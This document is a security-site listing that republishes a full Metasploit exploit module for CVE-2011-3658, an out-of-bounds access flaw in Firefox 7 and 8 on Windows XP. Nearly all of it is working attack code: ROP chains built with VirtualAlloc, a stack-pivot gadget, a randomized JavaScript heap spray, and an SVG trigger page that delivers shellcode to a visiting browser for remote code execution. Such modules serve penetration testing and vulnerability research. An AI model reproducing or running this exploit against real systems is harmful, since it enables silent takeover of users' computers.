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Mozilla Firefox 7 / 8 Out-Of-Bounds Access

Mozilla Firefox 7 / 8 Out-Of-Bounds Access
Posted May 8, 2012
Authored by regenrecht | Site metasploit.com

This Metasploit module exploits an out-of-bounds access flaw in Firefox 7 and 8 (versions 8.0.1 and below). The notification of nsSVGValue observers via nsSVGValue::NotifyObservers(x,y) uses a loop which can result in an out-of-bounds access to attacker-controlled memory. The mObserver ElementAt() function (which picks up pointers), does not validate if a given index is out of bound. If a custom observer of nsSVGValue is created, which removes elements from the original observer, and memory layout is manipulated properly, the ElementAt() function might pick up an attacker provided pointer, which can be leveraged to gain remote arbitrary code execution.

tags | exploit, remote, arbitrary, code execution
advisories | CVE-2011-3658
MD5 | 9c288acad3cd8cbab3fa521e13d9bcba

Mozilla Firefox 7 / 8 Out-Of-Bounds Access

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox 7/8 (<= 8.0.1) nsSVGValue Out-of-Bounds Access Vulnerability',
'Description' => %q{
This module exploits an out-of-bounds access flaw in Firefox 7 and 8 (<= 8.0.1).
The notification of nsSVGValue observers via nsSVGValue::NotifyObservers(x,y)
uses a loop which can result in an out-of-bounds access to attacker-controlled memory.
The mObserver ElementAt() function (which picks up pointers), does not validate
if a given index is out of bound. If a custom observer of nsSVGValue is created,
which removes elements from the original observer,
and memory layout is manipulated properly, the ElementAt() function might pick up
an attacker provided pointer, which can be leveraged to gain remote arbitrary
code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'regenrecht', #vulnerability discovery
'Lincoln<lincoln[at]corelan.be>', #Metasploit module
'corelanc0d3r<peter.ve[at]corelan.be>' #Metasploit module
],
'References' =>
[
[ 'CVE', '2011-3658' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-056/' ],
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708186' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x34",
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[
'Windows XP - Firefox 7',
{
'Ret' => 0x0C0C0C0C,
'OffSet' => 0x606,
'Size' => 0x40000,
'PopEax' => 0x7819e4b4, # POP EAX # RETN [MOZCRT19.dll]
'FF' => 7,
'OS' => 'XP'
}
],
[
'Windows XP - Firefox 8 (<= 8.0.1)',
{
'Ret' => 0x0C0C0C0C,
'OffSet' => 0x606,
'Size' => 0x40000,
'PopEax' => 0x7819e504, # POP EAX # RETN [MOZCRT19.dll]
'FF' => 8,
'OS' => 'XP'
}
]
],
'DisclosureDate' => 'Dec 6 2011',
'DefaultTarget' => 0))

end

def autofilter
false
end

def check_dependencies
use_zlib
end

def junk(n=4)
return rand_text_alpha_upper(n).unpack("L")[0].to_i
end

def nop
return make_nops(4).unpack("L")[0].to_i
end

def get_rop_chain(ffversion,osversion)

# mona.py ROP chains

rop_chain = []

if ffversion == 7 and osversion == "XP"

rop_chain =
[
0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
0x7813aeed, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
0x78194774, # PUSH EAX # POP ESI # POP EDI # POP EBP # POP EBX # RETN [MOZCRT19.dll]
0x78139801, # RETN (ROP NOP) [MOZCRT19.dll] -> edi
0x78195375, # & push esp # ret [MOZCRT19.dll] -> ebp
0x00000001, # 0x00000001-> ebx
0x7819966e, # POP EDX # RETN [MOZCRT19.dll]
0x00001000, # 0x00001000-> edx
0x7813557f, # POP ECX # RETN [MOZCRT19.dll]
0x00000040, # 0x00000040-> ecx
0x781a4da8, # POP EAX # RETN [MOZCRT19.dll]
nop, # nop
0x7813d647, # PUSHAD # RETN [MOZCRT19.dll]
].flatten.pack("V*")

elsif ffversion == 8 and osversion == "XP"

rop_chain =
[
0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
0x7813af5d, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
0x78197f06, # XCHG EAX,ESI # RETN [MOZCRT19.dll]
0x7814eef1, # POP EBP # RETN [MOZCRT19.dll]
0x781503c3, # & call esp [MOZCRT19.dll]
0x781391d0, # POP EBX # RETN [MOZCRT19.dll]
0x00000001, # 0x00000001-> ebx
0x781a147c, # POP EDX # RETN [MOZCRT19.dll]
0x00001000, # 0x00001000-> edx
0x7819728e, # POP ECX # RETN [MOZCRT19.dll]
0x00000040, # 0x00000040-> ecx
0x781945b5, # POP EDI # RETN [MOZCRT19.dll]
0x78152809, # RETN (ROP NOP) [MOZCRT19.dll]
0x7819ce58, # POP EAX # RETN [MOZCRT19.dll]
nop, # nop
0x7813d6b7, # PUSHAD # RETN [MOZCRT19.dll]
].flatten.pack("V*")

end

return rop_chain
end


def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)

# determine the target FF and OS version

ffversion = ""
osversion = ""

agent = request.headers['User-Agent']

if agent !~ /Firefox\/7\.0/ and agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/8\.0\.1/
vprint_error("This browser version is not supported: #{agent.to_s}")
send_not_found(cli)
return
end

my_target = target
if my_target.name == 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /Firefox\/7/
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/
my_target = targets[2]
elsif vprint_error("This Operating System is not supported: #{agent.to_s}")
send_not_found(cli)
return
end
target = my_target
end

# Create the payload
print_status("Creating payload for #{target.name}")
table =
[
0x0c0c0c0c, # index
0x0c0c0c0c, # index
0x0c0c0c0c, # index
0x7c45abdf # Stack->Heap Flip XCHG EAX,ESP # ADD [EAX],EAX # ADD ESP,48h # RETN 28 [MOZCPP19.DLL]
].pack("V*")

rop = rand_text_alpha_upper(56)
rop << [ target['PopEax'] ].pack("V")
rop << rand_text_alpha_upper(40)
rop << get_rop_chain(target['FF'],target['OS'])

# Encode table, chain and payload
rop_js = Rex::Text.to_unescape(table+rop, Rex::Arch.endian(target.arch))

code = payload.encoded
code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))

# random JavaScript variable names
i_name = rand_text_alpha(rand(10) + 5)
rop_name = rand_text_alpha(rand(10) + 5)
code_name = rand_text_alpha(rand(10) + 5)
offset_length_name = rand_text_alpha(rand(10) + 5)
randnum1_name = rand_text_alpha(rand(10) + 5)
randnum2_name = rand_text_alpha(rand(10) + 5)
randnum3_name = rand_text_alpha(rand(10) + 5)
randnum4_name = rand_text_alpha(rand(10) + 5)
paddingstr_name = rand_text_alpha(rand(10) + 5)
padding_name = rand_text_alpha(rand(10) + 5)
junk_offset_name = rand_text_alpha(rand(10) + 5)
single_sprayblock_name = rand_text_alpha(rand(10) + 5)
sprayblock_name = rand_text_alpha(rand(10) + 5)
varname_name = rand_text_alpha(rand(10) + 5)
thisvarname_name = rand_text_alpha(rand(10) + 5)
container_name = rand_text_alpha(rand(10) + 5)
tls_name = rand_text_alpha(rand(10) + 5)
tl_name = rand_text_alpha(rand(10) + 5)
rect_name = rand_text_alpha(rand(10) + 5)
big_name = rand_text_alpha(rand(10) + 5)
small_name = rand_text_alpha(rand(10) + 5)
listener_name = rand_text_alpha(rand(10) + 5)
run_name = rand_text_alpha(rand(10) + 5)
svg_name = rand_text_alpha(rand(10) + 5)
atl_name = rand_text_alpha(rand(10) + 5)
addr_name = rand_text_alpha(rand(10) + 5)
trans_name = rand_text_alpha(rand(10) + 5)
matrix_name = rand_text_alpha(rand(10) + 5)

# corelan precise heap spray for Firefox >= 7
# + trigger routine
spray = <<-JS

var #{rop_name} = unescape("#{rop_js}");
var #{code_name} = unescape("#{code_js}");
var #{offset_length_name} = #{target['OffSet']};

for (var #{i_name}=0; #{i_name} < 0x300; #{i_name}++)
{
var #{randnum1_name}=Math.floor(Math.random()*90)+10;
var #{randnum2_name}=Math.floor(Math.random()*90)+10;
var #{randnum3_name}=Math.floor(Math.random()*90)+10;
var #{randnum4_name}=Math.floor(Math.random()*90)+10;

var #{paddingstr_name} = "%u" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
#{paddingstr_name} += "%u" + #{randnum3_name}.toString() + #{randnum4_name}.toString();

var #{padding_name} = unescape(#{paddingstr_name});

while (#{padding_name}.length < 0x1000) #{padding_name}+= #{padding_name};

#{junk_offset_name} = #{padding_name}.substring(0, #{offset_length_name});

var #{single_sprayblock_name} = #{junk_offset_name} + #{rop_name} + #{code_name};
#{single_sprayblock_name} += #{padding_name}.substring(0,0x800 - #{offset_length_name} - #{rop_name}.length - #{code_name}.length);

while (#{single_sprayblock_name}.length < #{target['Size']}) #{single_sprayblock_name} += #{single_sprayblock_name};

#{sprayblock_name} = #{single_sprayblock_name}.substring(0, (#{target['Size']}-6)/2);

#{varname_name} = "var" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
#{varname_name} += #{randnum3_name}.toString() + #{randnum4_name}.toString() + #{i_name}.toString();
#{thisvarname_name} = "var " + #{varname_name} + "= '" + #{sprayblock_name} +"';";
eval(#{thisvarname_name});
}

var #{container_name} = [];

var #{tls_name} = [];
var #{rect_name} = null;
var #{big_name} = null;
var #{small_name} = null;

function #{listener_name}() {
#{rect_name}.removeEventListener("DOMAttrModified", #{listener_name}, false);
for each (#{tl_name} in #{tls_name})
#{tl_name}.clear();

for (#{i_name} = 0; #{i_name} < (1<<7); ++#{i_name})
#{container_name}.push(unescape(#{big_name}));
for (#{i_name} = 0; #{i_name} < (1<<22); ++#{i_name})
#{container_name}.push(unescape(#{small_name}));
}

function #{run_name}() {
var #{svg_name} = document.getElementById("#{svg_name}");
#{rect_name} = document.getElementById("#{rect_name}");

for (#{i_name} = 0; #{i_name} < (1<<13); ++#{i_name}) {
#{rect_name} = #{rect_name}.cloneNode(false);
var #{atl_name} = #{rect_name}.transform;
var #{tl_name} = #{atl_name}.baseVal;
#{tls_name}.push(#{tl_name});
}

const #{addr_name} = unescape("%u0c0c");
#{big_name} = #{addr_name};
while (#{big_name}.length != 0x1000)
#{big_name} += #{big_name};

#{small_name} = #{addr_name};
while (#{small_name}.length != 15)
#{small_name} += #{addr_name};

var #{trans_name} = #{svg_name}.createSVGTransform();
for each (#{tl_name} in #{tls_name})
#{tl_name}.appendItem(#{trans_name});

#{rect_name}.addEventListener("DOMAttrModified", #{listener_name}, false);
var #{matrix_name} = #{svg_name}.createSVGMatrix();
#{trans_name}.setMatrix(#{matrix_name});
}
JS

# build html
content = <<-HTML
<html>
<head>
<meta http-equiv="refresh" content="3">
<body>
<script language='javascript'>
#{spray}
</script>
</head>
<body onload="#{run_name}();">
<svg id="#{svg_name}">
<rect id="#{rect_name}" />
</svg>
</body>
</html>
HTML

print_status("Sending HTML")

# Transmit the response to the client
send_response(cli, content, {'Content-Type'=>'text/html'})

end

end

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